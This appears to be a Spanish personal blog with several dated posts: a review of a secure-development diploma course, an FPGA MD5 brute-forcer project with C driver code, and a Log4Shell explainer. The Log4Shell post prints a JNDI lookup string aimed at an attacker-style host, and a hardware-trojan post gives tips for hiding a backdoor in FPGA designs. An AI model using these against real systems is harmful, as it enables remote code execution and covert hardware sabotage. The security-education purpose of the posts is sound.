2021/12/27

Diplomatura de Desarrollo Seguro de Aplicaciones de la UNSTA 2021

En estos tres o cuatro meses he tenido el placer de ser alumno y docente de la Diplomatura de Desarrollo Seguro de Aplicaciones de la UNSTA.

 

La convocatoria

 

La organización me contactó para ver si podía dar una "charla magistral" de una hora y media de algún tema interesante y llamativo. Pensé un rato y ofrecí, en consonancia con lo que vengo haciendo últimamente, algo de seguridad de hardware. En la conversación fue creciendo y finalmente se convirtió en una materia de 9 horas.

 

Evidencia en LinkedIn
Evidencia en LinkedIn

 

Todo un desafío, nunca había dictado algo así antes. Había conversado con la organización de los cursos del Laboratorio de Sistemas Embebidos de la Facultad de Ingeniería de la Universidad de Buenos Aires (CESE, CEIoT), donde soy docente de Ciberseguridad en IoT y, no sé si seguirá existiendo, Testing de Sistemas IoT, la posibilidad de organizar una materia optativa de esta misma naturaleza, pero medio que más que ofrecerlo lo estaba pidiendo. O mejor dicho, algún tipo de "colaboración", con algunas otras personas para armarlo y que mi rol sea más "seguridad pura" que de los aspectos más técnicos del hardware. Pero debido a que es un esfuerzo infernal, son cursos orientados a alumnos de posgrado, los docentes suelen estar extremadamente ocupados y en promedio son más responsables que yo, no se sentían capacitados y no prosperó.

En las diplomaturas la ventaja es que las condiciones de aceptación de alumnos es un tanto más relajada y la exigencia general también. Un indicador sencillo es que una diplomatura como ésta o como otra que he hecho de Seguridad Bancaria, tiene una carga de 100 horas, dos a cuatro clases por materia. 

Los otros cursos tienen 15 materias de 8 clases cada una, son 24 horas cada materia, 360 horas en total. Incluso la carga semanal es un 50% mayor, dos contra tres días por semana. Cada materia suele tener unos ejercicios heavies y se espera que el trabajo práctico consuma unas 600 horas/persona, aunque no necesariamente sean todas tuyas, vale dirigir el trabajo de otras personas.

Respecto a la carga horaria del TP de esta diplomatura, calculo que si estuviste haciendo los ejercicios durante la cursada debe ser leve, pero si lo hubiera hecho completo yo solo me hubiera llevado hasta 40 horas.

Volviendo a mi participación como docente, me encontré con el siguiente FODA, un poco retrospectivo pues en ese momento aunque intuitivamente lo apliqué no lo llegué a concientizar:

Fortalezas

Experiencia en dar clases, experiencia en investigar seguridad de hardware aunque quizás de un modo un tanto esotérico, experiencia en ciberseguridad. Equipamiento de hardware apropiado.

Oportunidades

Poner a prueba el conocimiento que vengo juntando desde hace décadas. Identificar baches.

Debilidades

Conocimiento fragmentario e incompleto, desconocimiento de normas y electrónica en general. Falta de orden.

Amenazas

No llegar en tiempo y/o forma y pasar vergüenza ante los alumnos y/o la organización.

 

Preparativos

 

En las H4CK3D y en muchas charlas internas del trabajo ya había expuesto del tema de modo fragmentario y continué haciéndolo hasta antes e incluso después de las clases.

Tomé en simultáneo la materia Micro Arquitecturas y Soft Cores del CESE, que aunque no tenía relación directa, forma parte del conocimiento de base.

 

Resultados 


Tuve muy poco feedback, sin sorpresas ("te falta un poco de orden"), no tuve la sensación de haber fallado en las dos primeras clases, quizás la tercera estuvo floja pero más por mis expectativas, no sé si se notó "para afuera". Me había propuesto mostrar una demo de Secure Boot con ESP32-S pero en parte por que no llegué a hacer las pruebas y en parte por que no le encontré que fuera realmente interesante, sólo lo expliqué en términos teóricos.

De algún modo no logré un "relato", el poder recorrer los temas de un modo hilvanado. En las charlas que doy pego saltos, que te obligan a prestar demasiada atención, imposible a lo largo de tres clases, te olvidaste. Las charlas son para gente que eligió ir específicamente (igual alguien se ha quejado), en las clases, aunque no falte a quien le interese mucho, hay que considerar que para la mayoría es una de diez materias y no precisamente la más útil o interesante.

Otra dificultad es que de todas las otras materias he recibido capacitación, tiene un poco del ¿Para qué hacés un curso de algo que ya mayormente sabés? que ya he mencionad en otro lado y para esta materia no, todo muy fragmentario y autodidacta.



Como alumno


En mi condición de docente tuve grandes facilidades económicas para ser alumno, con lo cual no fue una elección muy difícil, en todo caso si la experiencia era mala, salía con un título de utilidad moderada. La verdad es que no conocía a nadie, ni sus cualidades o defectos, es la primera edición, aposté y salió bien.

Siempre hay alguna clase que por el tema o el modo de quien la dicta es un poco más aburrida y otra más entretenida, pero no ocurrió ninguna vez que me arrepintiera. No hubieron clases malas y sí hubieron clases muy, muy buenas, lamentablemente no tomé nota, siempre confiando en que luego se puede acceder a las presentaciones y confiando de modo completamente injustificado en mi memoria.

Hubo una cierta falta de coordinación entre las materias, algunos temas se vieron repetidos, no es tan terrible, es bueno el repaso. Pero algunos temas como que se escaparon, igual nada grave.

Si se repite, si los tiempos me dan, si me dejan, probablemente asista como oyente, esta vez tomando notas.

Las clases quedan grabadas, pero la verdad es que no me gusta ver grabaciones.

 

El trabajo práctico

 

Para quienes no estamos programando todo el día y más web, fué bastante heavy. Además llegó un poco tarde y en mi caso coincidió con que como docente tenía que terminar de preparar las clases, como alumno de otra materia en otro lado tenía que terminar su trabajo práctico, un fondo de ojo que me dejó muerto justo el día de la entrega, log4shell me dejó agotado cada día de esa semana y la anterior, el día del asado del trabajo y que dí una charla de Chain of Trust y Secure Boot en el trabajo aprovechando parte del material que había usado para las clases.

Tampoco ayudó, en mi caso, un poco de actitud liebre y tortuga, liebre en mi caso. Ya que cuento con experiencia tanto en desarrollo como en seguridad, medio que aflojé un poco. Pude haber canibalizado un trabajo práctico a medio hacer del CEIoT pero me dá un poco de vergüenza y además necesitaba hacer un reajuste mental de varios días, hace meses que no toco programación web y node.

Estaba compuesto de varias partes, una relacionada a bases de datos y enmascaramiento, otra de obtener información de una virtual vulnerable, la tercera corregir una aplicación y la cuarta,  más grande que las otra dos juntas, era hacer una API, agregarle autenticación y con tests de Postman mostrar su seguridad, todas cosas que sé hacer pero en este momento no estoy "sintonizado", mi cerebro está en FPGA.


Conclusión

 

Para decirlo del modo más corto posible, espero con ansia que se repita para que asistan las personas a las que invité en esta ocasión pero por haber sido con tan poco tiempo de aviso no pudieron asistir. Y por el lado docente, para tener la oportunidad de mejorar las clases. En términos de inversión, paga, quizás no como título pues es una Licenciatura, sujeto a interpretación, pero el resto está ok.

La profundidad y extensión de los temas fue correcta así como la calidad. Me hubiera gustado tener más feedback de mi materia.



2021/12/26

H4CK3D 2021: the missing pieces

En esta entrada dejo algunas ideas y detalles apenas enunciados en la charla, quizás ya mencionados en las entradas anteriores.

 

Tambien registro mi pena por no haber podido asistir a todas las demás charlas que hubieron tanto ese día como los restantes, no me dá el, iba a decir físico, pero en este caso vendría a ser más el virtual.

 

Los componentes del ataque 


Para identificarlos e implementarlos estuve horas y horas probando, pensando, fallando, fallando y fallando. Algunas de la fallas fueron realmente estúpidas, por ejemplo intentar detectar la secuencia en el fetch o el execute. Pensá, si hay un pipeline, hay instrucciones futuras que no se van a terminar de ejecutar pues el branch las va a flushear, pero ni en el fetch ni el execute lo sabemos. Resultó el writeback el mejor lugar y quizás no empecé por ahí por que está vacío y me llevó un buen rato comprender su función.

 

¿Qué pasa con el rebote del botón?

 

Hay muy pocas probabilidades de rebote cuando es el programa el que lee el botón. A nivel del ataque, entonces no interesa, el bichito está mirando el comportamiento del programa, no de los botones. Pudo haber mirado directamente los botones y operado tambien sobre el servo, pero ya habíamos quedado en que eso lo haría mucho más detectable.

 Además queda atado a los botones, no al software que mira los botones. Ponele que hay más botones para operar con un menú, tipo las impresoras o los monitores que hacés mil cosas con cuatro botones. Mejor atarse al programa.

 

¿Qué pasa con el azar en el place and route?

 

Debido a los algoritmos utilizados, la etapa de PNR usa pseudoazar. Como todo pseudoazar (¿todo Charli? vos no sabés lo suficiente de criptografía para afirmar eso...) se puede controlar fijando la semilla, "seed". No me hizo falta ir por este lado, pero de algún modo del lado del software desactivé toda sorpresa al deshabilitar las optimizaciones.

 

Un camino no tomado

 

Había encontrado una manera medio rara pero muy compleja de conectar componentes sin pasar por la interfaz, no vale la pena pues es muy llamativo. Sin embargo sospecho que si tomamos el .bliff...


.gate SB_LUT4 I0=buttons[2] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[2] O=buttons_SB_LUT4_I0_O[0]
.attr module_not_derived 00000000000000000000000000000001
.attr src "/usr/local/bin/../share/yosys/ice40/cells_map.v:26.33-27.52"
.param LUT_INIT 0000011101110111
.gate SB_LUT4 I0=buttons[1] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[1] O=buttons_SB_LUT4_I0_1_O[3]



...sería posible agregar componentes y conexiones que no estén en el fuente Verilog, sería una mejora de un orden de magnitud al ataque y candidato a una charla para el año que viene, implica adquirir un tipo de conocimiento muy de nicho, todo lo que aprendí hasta acá es reutilizable y compartible, eso no lo sería.

 

¿Por qué querríamos no pasar por la interfaz? 

 

Para que una inspección superficial no ponga en evidencia la irregularidad. Si mirás el código fuente verás que los nombres son bien explícitos, clara ayuda para mí pero no para lo furtivo. Apuesto a que si se ponen nombre tipo cache_sync nadie se da cuenta.

 

 





2021/12/21

Forzador MD5 en PYNQ, el software


Siguiendo los pasos detallados anteriormente, no bien creás el IP, te aparecen los drivers en:

./ip_repo/MD5_Brute_Forcer_1.0/drivers/MD5_Brute_Forcer_v1_0/src/MD5_Brute_Forcer.h

 

Los valores de desplazamiento de cada registro son:

#define MD5_BRUTE_FORCER_S_AXI_SLV_REG0_OFFSET 0
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG1_OFFSET 4
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG2_OFFSET 8
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG3_OFFSET 12
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET 16
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG5_OFFSET 20
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG6_OFFSET 24

 y algunas funciones

#define MD5_BRUTE_FORCER_mWriteReg( \
  BaseAddress, RegOffset, Data) \
    Xil_Out32((BaseAddress) + \
  (RegOffset), (u32)(Data))

#define MD5_BRUTE_FORCER_mReadReg(BaseAddress, RegOffset) \
    Xil_In32((BaseAddress) + (RegOffset))



XStatus MD5_BRUTE_FORCER_Reg_SelfTest(void * baseaddr_p);

 

Tras generar el bitstream, exportar el hardware, abrís la SDK

 

Comprobás que exista lo tuyo, en mi caso MD5_Brute_Forcer:

 

En system.hdf vemos MD5_Brute_Forcer
En system.hdf vemos MD5_Brute_Forcer


Creás entonces una nueva "Application Project" con template de "empty application", que te va a crear una carpeta con el nombre que le pongas con sufijo _bsp. En mi caso, en:

./md5_brute_forcer/md5_brute_forcer.sdk/brute_forcer_bsp/ps7_cortexa9_0/include/

en xparameters.h  te define:


/* Definitions for peripheral MD5_BRUTE_FORCER_0 */
#define XPAR_MD5_BRUTE_FORCER_0_DEVICE_ID 0
#define XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR 0x43C00000
#define XPAR_MD5_BRUTE_FORCER_0_S_AXI_HIGHADDR 0x43C0FFFF

tambien verás que MD5_Brute_Forcer.h ahora está en 

brute_forcer_bsp/ps7_cortexa9_0/include/MD5_Brute_Forcer.h

Creás un main.c

Un problema que no puede resolver es que los archivos xgpio.h  xgpio_l.h que proveen la resolución del nombre de las funciones más básicas de lectura y escritura en la memoria, no están siendo generados o incluidos. Lo que he hecho es tomarlos de uno de los ejercicios y copiarlos en 

brute_forcer_bsp/ps7_cortexa9_0/include/


Llegado este punto, hay que grabar el bitstream, "Xilinx" -> "Program FPGA" por un lado y ejecutar el programa por el otro con botón derecho sobre la aplicación, "Run as" -> "launch on hardware (GDB)" y usando por ejemplo 

miniterm.py  /dev/ttyUSB1  115200 


y a disfrutar de los resultados.

 

Un pipeline
Un pipeline


Dos pipelines
Dos pipelines

Cuatro pipelines
Cuatro pipelines


Como notarás:

En waited dice cuando charlyseconds demoró, va decreciendo.

En found plin plin plin at pipeline tal de tantas ves como evoluciona de 1 a 4 pipelines. El pipeline que lo halló es 1,2,4,8, si mirás el registro, entenderás.

Con los valores 200 a 203, como al valor hay que sumarle el pipeline donde fué hallado.

Y lo más notorio, hay un desplazamiento entre el valor esperado y el obtenido, es algo que siempre ha ocurrido, en las simulaciones tambien, me falta diagnosticar, por ahora se va a tener que ajustar desde el software, al igual que los primeros y últimos valores que no los puede hallar, motivo de otra entrada futura.

Y más notorio aún, para cuatro pipelines falla para un número relativamente bajo, tengo que revisar bien, pero me puede llevar mucho tiempo y como no hace a la implementación de software, por hoy no me preocupo.


Estos resultados no salen de un repollo, veamos el programa main.c, antes recordemos, recordemos, no, no recordemos, es de una entrada futura pero que estoy haciendo a la vez, en la del futuro digo que "de paso agrego más valores a los registros", pero bueno, aceptemos este efecto sobrenatural.


Registros
Registros


Lo primero es adaptar las primitiva provistas por el driver de bajo nivel a algo más usable.

Para habilitar y deshabilitar hay que escribir 1 y 0 en el registro 4, eso se obtiene de esta base y desplazamiento:


XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR

MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET

Las funciones son:

void enable() {
     MD5_BRUTE_FORCER_mWriteReg(
         XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
         MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET, 1
         );
}

void disable() {
    MD5_BRUTE_FORCER_mWriteReg(
      XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
      MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET, 0
    );
}


Para escribir el hash hay que escribir 4 registros de 32 bits en los registro 0 a 3:

void setHash(unsigned int r3,
             unsigned int r2,
             unsigned int r1,
             unsigned int r0) {
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG3_OFFSET, r3
    );
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG2_OFFSET, r2
    );
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG1_OFFSET, r1
    );
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG0_OFFSET, r0);
}



Para leer el resultado, está en el registro 5:


unsigned int readTarget() {
        return MD5_BRUTE_FORCER_mReadReg(
         XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
         MD5_BRUTE_FORCER_S_AXI_SLV_REG5_OFFSET );
}


Para leer cuantos pipelines hay y cuál tuvo el hit, hay que leer el registro 6 y extraer los bits necesarios:


unsigned int readStatus() {
     return MD5_BRUTE_FORCER_mReadReg(
          XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
          MD5_BRUTE_FORCER_S_AXI_SLV_REG6_OFFSET
     );
}


Lo mismo para la cantidad de pipelines y cuá halló el resultado:

unsigned int readPipelineCount() {
    unsigned int status = readStatus();
    return ( status & 0x0000f000 ) >>12;
}

unsigned int readPipelineHit() {
    unsigned int status = readStatus();
    return status >> 16;
}


Para mostrar los bits de estado:

void printStatus(const char * tab) {
    unsigned int status = readStatus();
    printf("%s",tab);
    if (status & 0x1)  printf("paused ");
    if (status & 0x2)  printf("running ");
    if (status & 0x4)  printf("warming ");
    if (status & 0x8)  printf("found ");
    if (status & 0x10) printf("done ");
    if (status & 0x20) printf("enabled ");
    if (status == 0) printf("errorNoStatus ");

    printf("\r\n");
}


Y eso es todo, otra vez anticipando el futuro, cuando pueda prescindir de los printf probablemente pueda usar un microblaze en la Nexys4DDR, quizás a la vez hacer un IP sin AXI pues no creo que entren los ocho pipelines y el microblaze a la vez.






2021/12/20

Reflexiones log4shell

Todo el mundo está desesperado, toca opinar de log4shell.

Breve explicación

 

Considerá que aunque he sabido programar en java no soy javero y menos con sistemas medianamente complejos que utilizan log4j. Mejores explicaciones hay por todos lados, esto es lo más corto y útil que puedo producir, pero quizás no sea del todo cierto.

Log4j es un framework de logs de java. Recibe mensajes y de algún modo los envía a algún lado, archivo, syslog, lo que sea. En el medio le hace transformaciones como agregar metadata. Por ejemplo para agregar la versión de java, se hace así:

 

${java:version}

 

Lo cual es completamente útil y legítimo. También es útil y legítimo utilizar JNDI (Java Naming and Directory Interface) que puede consultar al menos a LDAP y traerse un objeto. Ya se empieza a poner turbio. 

Un atacante puede suponer qué es lo que se está dejando en el log, por ejemplo "username" y poner como "username" algo como:

 

${jndi:ldap:servidoratacante.com/exploit}

 

No me quiero meter en detalles pues las URLs que he visto son un poco distintas. Dejo esa pues me armé una POC con jetty y log4j 2.14 y marshalsec como ldap y hay hits. Quizás no sirva para explotar pero si para detectar la versión vulnerable.

Volviendo a la URL, de algún modo se bajaría una clase compilada java con el comportamiento deseado por el atacante. No me queda aun del todo claro si lo baja directamente o es una referencia a otra url, pero en función de mis reflexiones es irrelevante. Si más adelante le dedico tiempo y lo resuelvo bien, cuando haya pasado la tormenta publicaré.

 

Reflexión: respuesta al incidente


Seguramente ocurrió con otras vulnerabilidades, pero es la primera vez que lo noto, el efecto "double-tap strike".

Le he asociado este nombre pues de algún modo lo veo parecido a un ataque y su repetición, el primero para atraer a los equipos de respuesta y el segundo para los equipos de respuesta, dejando de lado que acá no hay ataque, es sólo una vulnerabilidad, pero el requerimiento de las áreas de ciberseguridad a las de desarrollo e infraestructura para que la solucionen bien puede verse como tal.

Ha ocurrido que la gente de devops ha salido corriendo a actualizar a 2.15, lo cual implica trabajo, sólo para encontrarse con que inmediatamente debe pasar a 2.16 y mientras escribo esto a 2.17. Aunque es verdad que el impacto de analizar el cambio de 2.x a 2.15 o 2.16 ya está hecho, de todos modos es un retrabajo.

Lo que hay que tener en perspectiva, es que es más importante salir de 2.x que llegar a 2.16 o 2.17, pues las vulnerabilidades de 2.15 y 2.16 tienen mucho menor impacto que las de 2.x... por ahora.

 

Reflexión: la configuración


El haber actualizado no alcanza, pues no hay una vulnerabilidad en los mecanismos que se están utilizando, sólo que la configuración por defecto tiene esos mecanismos habilitados. O sea, debe haber alguien que está utilizando de modo legítimo:


 ${jndi:ldap:servidor.legitimo/funcionalidad}

 

De modo tal que al pasar a 2.15 - 2.17 va a tener que cambiar la configuración para que le siga funcionando.

A menos que hubiera cambiado antes la configuración de modo explícito, en cuyo caso en la 2.15 - 2.17 va a seguir activo el bug, ¿no?


Entonces, aunque claramente es correcto actualizar, la realidad definitiva está en probar o al menos buscar opciones de configuración que activen la vulnerabilidad. 

Esto se reduce a  ¿qué pasa si le estás dando un uso legítimo a esa funcionalidad?

Quizás la mejor solución sea como el tratamiento de eval() de varios lenguajes, esto es, pedirle al intérprete que tome texto como código y lo ejecute: No usarlo e implementar otra forma para resolver tu requerimiento.

 

Actualización

 

Con la versión 2.17 se eliminó completamente la funcionalidad, no hay configuración que valga.


https://logging.apache.org/log4j/2.x/


Forzador MD5 en PYNQ, el hardware

Este es el detalle del trabajo práctico de la materia Micro Arquitecturas y Soft Cores, ya comentada previamente.

El objetivo es instanciar el Forzador Brutal de MD5 en un chip ZYNQ de una placa PYNQ-Z2 proveniente de una Nexys4DDR que es más grande, ya habiendo fracasado durante la cursada de Basic Digital Design agregando VIO e ILA como interfaz. En esta oportunidad la interfaz será AXI hacia los cores donde se ejecutará un programita escrito en C.

 

Pasos

Necesito saber previamente algunos datos:

Número de registros para el periférico AXI

  • para determinar el hash (input, 128 bits, 16 bytes, 4 registers )
  • para obtener el valor (output, 32 bits, 4 bytes, 1 register)
  • control para iniciar proceso (input, 1 bit, 1 register)
  • status (output 3 bits, 1 register)
    • running
    • found
    • done

Son 7 registros.

 

Respecto a estos pasos, tengo un fuerte Déjà vu, es que ya lo he hecho antes pero entendiendo menos al hacer los ejercicios de dos libros.

 

Crear el IP

  • Tasks -> manage IP -> New IP Location
    • Part: xc7z020clg400-1
    • Target Language: Verilog
    • Crear y seleccionar una carpeta, en esta aparecerá todo lo que cree Vivado
  •  Tools -> Create and Package New IP
    • Create a new AXI4 peripheral
    • Name: ip_md5
    • Number of registers:7
    • Interfaces: quizás quitar el "00"
    • Next Step: Edit IP
  • Copiar los archivos del proyecto original a  ip_repo/ip_md5_1.0/hdl
    • Agregarlos con Add Design Sources
      • mejor NO copy sources into IP Directory
    • en este momento
      • ya se ha creado el C con los drivers de bajo nivel
      • es buena idea hacer un commit
  • Editar el ip de S_AXI, ip_md5_v1_0_S_AXI_inst
    • Acá va la magia, ver luego
  • Flow -> Run Synthesis
  • Flow -> Package IP 
    • identification
      • add category
    • file groups
      • merge changes from file groups wizard
    • customization parameters
      • merge changes from customization parameters wizard
    • ports and interfaces
      • hay que ver que esté lo que hayas puesto, en este caso status
    •  review and package
      • re-package IP
  • Otro buen momento para un commit 
  • close project 

 

 Crear el proyecto

  • File -> project -> new
    • location lo puse a la par que ip_repo
    • varios next
    • choose board -> pynq-z2
    • varios next
  • Settings 
    • Project Settings
      • IP
        • Repository -> ADD
          • lo del paso Crear IP
  • IP Integrator -> Create block design
  • Add IP -> zynq
  • run block automation
  • re-customize IP ( doble click)
    • ps-pl configuration 
      • general
        • enable clock resets
          • fclk_reset0_n
      • Axi non secure enablement
        • gp master axi interface
          • m axi gp0 interface ON
    • MIO Configuration
      • I/O Peripherals
        • UART 0 -> MIO 14::15
    • clock configuration
      • pl fabric clocks
        • fclk_clk0 -> 100
  • Add  IP ->
  • run connection automation
  • si tenías ports
    • make external
    • agregar el xdc y ajustarlo
  • validate design
  • source ->design_1.bd -> create hdl wrapper
  • source -> design_1.bd -> generate output products (paciencia)
  • Program and debug
    • generate bitstream (más paciencia)
  • file
    • export
      • export hardware -> include bitstream
  • file
    • launch sdk

SDK

  • comprobar en system.hdf que esté la IP y la uart
  • comprobar que en wrapper platform esten los drivers 
  • file
    • new
      • application project
        • empty application template
        • comprobar bsp-> ps7_cortexa9_0-> include -> ip_md5.h
  • el programa en C que quieras, otro día vemos más detalles.
  • botón derecho sobre el proyecto -> run as -> launch on hardware (GDB)
  • un segundo antes abriste la terminal:
    • miniterm.py  /dev/ttyUSB1  115200
    • y para un programa muy sencillo:

printf("MD5 Brute Forcer SelfTest\r\n");
   MD5_ACCELERATOR_Reg_SelfTest(
   XPAR_MD5_ACCELERATOR_0_S_AXI_BASEADDR
);

    • una salida muy sencilla:

Salida seft test
Salida seft test


Detalles

 

En el comienzo me equivoqué con el conteo de registros, pensé que eran 6, sin embargo fue intutitiva la corrección del hdl generado. Como por otros motivos tuve que arrancar de cero, al comparar la nueva generación con lo corregido comprobé que la corrección fué correcta.


Respecto a la paciencia en "Generate Output Products", nunca avisa que termina y arriba a la derecha el iconito de trabajando queda activo y dice "Synthesis out-of-date_". La manera de saber cuando ha terminado es mirando en la ventanita de Design Runs.


output products corriendo
output products corriendo

output products corriendo
output products finalizado


La magia


Primer nivel del wrapper


Si tu IP no usa puertos, no hay nada que tocar. En mi caso, para diagnosticar puse unos puertitos y se los conecté.

va en la interfaz:

      output wire [5:0] status,

en la instanciación de S_AXI:

      .status(status),

 

Segundo nivel del wrapper


Si tu IP no usa puertos, no hay nada que tocar en la interfaz, en este caso si, entonces:

        output wire [5:0] status,

Luego van los registros de salida:

    // Add extra user logic register here
    
    wire [C_S_AXI_DATA_WIDTH-1:0]    target_o;
    wire [C_S_AXI_DATA_WIDTH-1:0]    status_o;

    // I/O Connections assignments

En donde se leen, hay que reemplzar los registros slaves por estos nuevos:

// Address decoding for reading registers
case ( axi_araddr[ADDR_LSB+OPT_MEM_ADDR_BITS:ADDR_LSB] )
    3'h0   : reg_data_out <= slv_reg0;
    3'h1   : reg_data_out <= slv_reg1;
    3'h2   : reg_data_out <= slv_reg2;
    3'h3   : reg_data_out <= slv_reg3;
    3'h4   : reg_data_out <= slv_reg4;
    3'h5   : reg_data_out <= target_o;
    3'h6   : reg_data_out <= status_o;
    default : reg_data_out <= 0;
endcase


Y por último, la conexión de cada bit de status al registro de status y la instanciación de nuestro IP:

// Add user logic here
    assign status = {status_o[0],status_o[1],
    status_o[2],status_o[3],
    status_o[4],status_o[5]};
       
    driver driver (
       .CLK(S_AXI_ACLK),
       .CPU_RESETN(S_AXI_ARESETN),
       .target_selected({slv_reg3,slv_reg2,slv_reg1,slv_reg0}),
       .enable_switch(slv_reg4[0]),
       .target(target_o),
       .status_paused(status_o[0]),
       .status_running(status_o[1]),
       .status_warming(status_o[2]),
       .status_found(status_o[3]),
       .status_done(status_o[4]),
       .enabled(status_o[5])
    );
    // User logic ends

 

Cuando metés la pata en el IP


La recomendación que he recibido y que sufrí no respetar, es si algo está mal, empezar otra vez de cero. Me parece que no hace falta tanto como de cero, estoy seguro que cuando incorporé los puertos de diagnóstico no lo hice, pero si tirar la sdk.

 

Edición del IP


  • Tasks -> manage IP -> Open IP Location
  • elegir el ip -> edit in IP Packager
  • Corregir el HDL
    • Acá va la magia, corregida
  • Flow -> Run Synthesis
  • Flow -> Package IP 
    • quizás File Groups
    •  review and package
      • re-package IP

 

Editar el proyecto


  • File -> project -> recent
  • IP Integrator -> open block design
    • aparece un mensaje diciendo que hay que hacer upgrade
    • report ip status
      • upgrade selected
    • te ofrece generate output products (paciencia)
    •  
  • Program and debug
    • generate bitstream (más paciencia)
  • [opcional] borrar el .sdk para evitar conflictos
  • file
    • export
      • export hardware -> include bitstream
  • file
    • launch sdk


Respecto a borrar el sdk antes de reexportar, no te olvides de tener copia o todo versionado para recuperar lo que ya hayas hecho. Debido a que mi IP usa Xil_In  y Xil_out, provistos por xgpio.h, cada vez tuve que restaurarlos, obtenidos originalmente de lo generador por uno de los labs.

 

Simulación


Agregué un test bench conectado al componente y a ese testbench lo puse como top. Si ejecutas la simulación con el wrapper como top, estás muerto, tendrías que generar los estímulos para AXI, olvidate...



Notas relacionadas por el lado de EAMTA 2021:

 

2021/12/19

MAySC 2021 con el Forzador Brutal de MD5 en PYNQ-Z2 y Vivado 2018.2

He tenido el privilegio y placer de cursar Micro Arquitecturas y SoftCores a cargo de Nicolás Álvarez, excelente, no hay nada más que decir.

 

Había cursado la materia anterior también a su cargo, Circuitos Lógicos Programables, pero fué hace mucho y entre que olvidé algunas cosas como por ejemplo VHDL pues todos mis proyectos han sido en Verilog y que la materia incorporó algunos temas nuevos como VIO, ILA y uso de placas remotas, tuve unos ciertos apuros. Debido a que tengo una placa compatible con los laboratorios y no había exigencia en utilizar las placas remotas, había visto VIO e ILA en otro excelente curso Basic Digital Design con el Colo y Ariel Pola y ya había practicado algunos temas por mi parte de algunos libros y varios proyectos, no lo sufrí.

 

¿Para qué hacés un curso de algo que ya mayormente sabés?

 

Bueno, para empezar no sé tanto. Por un lado no trabajo de esto así que todo lo que aprendo lo voy olvidando paulatinamente por falta de uso, el "recursar" me lo refresca. Por otro lado, no es lo mismo lo que uno aprende de un libro, de un video, de experimentar en soledad que de una clase interactiva y más cuando quien enseña es del calibre de Nicolás.

 

El hardware


El curso se dicta con Vivado 2018.1 por que hay unas placas ArtyZ7-10 disponibles en el servidor que está con esa versión.


Yo ya tengo dos ZYNQs, una Parallella que es parecida a la Arty por el SoC (xc7z010clg400-1) pero no tiene nada de botones, switches y leds, sobre la cual intentaré publicar algo en un futuro cercano y una PYNQ-Z2, que vengo usando hace rato y su única diferencia a efectos prácticos del curso es que el SoC es xc7z020clg400-1, los ejercicios son menos que minúsculos como para que haga diferencia.

Respecto a Vivado 2018.1 vs Vivado 2018.2, no hallé diferencia...

 

El trabajo práctico

 

Los alumnos regulares tienen la posibilidad de hacer algo en el marco de su trábajo práctico de especialización. Eso me deja con hacer algo suficientemente difícil pero inútil o ver de reflotar alguna tarea del backlog y mirando mirando ¿qué mejor que tomar el queridísimo Forzador Brutal de MD5 y portarlo a la PYNQ aplicando las técnicas de encapsulamiento en IPs e interfaceando con los microprocesadores?

Durante la cursada de Basic Digital Design había fracasado en portar de Nexys4DDR a PYNQ-Z2 agregándole VIO e ILA. Lamentablemente no recuerdo bien cómo se manifestó ese fracaso, probé de usar un pipeline menos, la mitad. De hecho tomé esa versión con la mitad para este TP. Finalmente, como estaba trabado en un problema que no lograba resolver, reduje a dos pipelines para que Nicolás pudiera ayudarme. En el proceso de comprobar la correcta adaptación descubrí que no había hecho la adaptación correcta a cuatro pipelines y eso explica probablemente el fracaso anterior.

Otros errores que cometí fueron:

El reset lo invertí para dianosticar y me olvidé de revertirlo hasta que lo recordé.

Conecté un registro de entrada como uno de salida, mmh.

 

Un error no tan error 

 

No hice simulaciones desde el primer momento, pero de todos modos, el error más importante, el de la adaptación a menos pipelines, no saltaba en las simulaciones.

 

¿Qué me queda para hacer?

 

En las próximas notas explicaré como transité lo del hardware y el software del trabajo práctico. Luego intentaré parametrizar la cantidad de pipelines para poder usarlo indistintamente en la Nexy4DDR con 8, en la PYNQ con 4 y en la Parallella con 2, esto último tras haber tomado el control tanto tiempo postergado.